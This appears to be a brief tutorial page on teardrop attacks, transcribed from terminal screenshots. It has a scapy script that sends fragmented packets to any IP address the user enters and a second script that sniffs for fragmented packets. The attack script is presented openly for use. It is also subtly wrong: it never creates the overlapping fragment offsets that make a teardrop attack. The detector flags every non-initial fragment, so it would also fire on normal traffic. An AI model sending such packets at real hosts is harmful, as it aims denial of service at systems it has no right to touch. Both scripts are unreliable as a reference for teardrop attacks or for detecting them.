

Teardrop Attack Prevention

Python script for teardrop attack

```
root@kali: ~  
File Actions Edit View Help  
GNU nano 8.2 teardrop_attack.py  
from scapy.all import IP, UDP, fragment, send  
  
def teardrop_attack(target_ip):  
    print("[*] Starting teardrop attack...")  
    # Generate fragmented packets  
    packet = IP(dst=target_ip, flags="MF") / UDP(dport=12345) / b"A" * 10  
    fragments = fragment(packet)  
    for frag in fragments:  
        send(frag)  
    print("[*] Attack completed.")  
  
if __name__ == "__main__":  
    target = input("Enter target IP address: ")  
    teardrop_attack(target)
```

Python script for detecting the attack

```
root@kali: ~  
File Actions Edit View Help  
GNU nano 8.2 detect_teardrop.py  
from scapy.all import sniff, IP, UDP  
  
def detect_teardrop(pkt):  
    # Logic for detecting teardrop attack  
    if IP in pkt and pkt[IP].frag > 0:  
        print(f"[!] Fragmented packet detected from {pkt[IP].src} to {pkt[IP].dst}")  
  
def main():  
    print("[*] Starting teardrop attack detection...")  
    sniff(prn=detect_teardrop, filter="ip", store=0)  
  
if __name__ == "__main__":  
    main()
```

[illegible]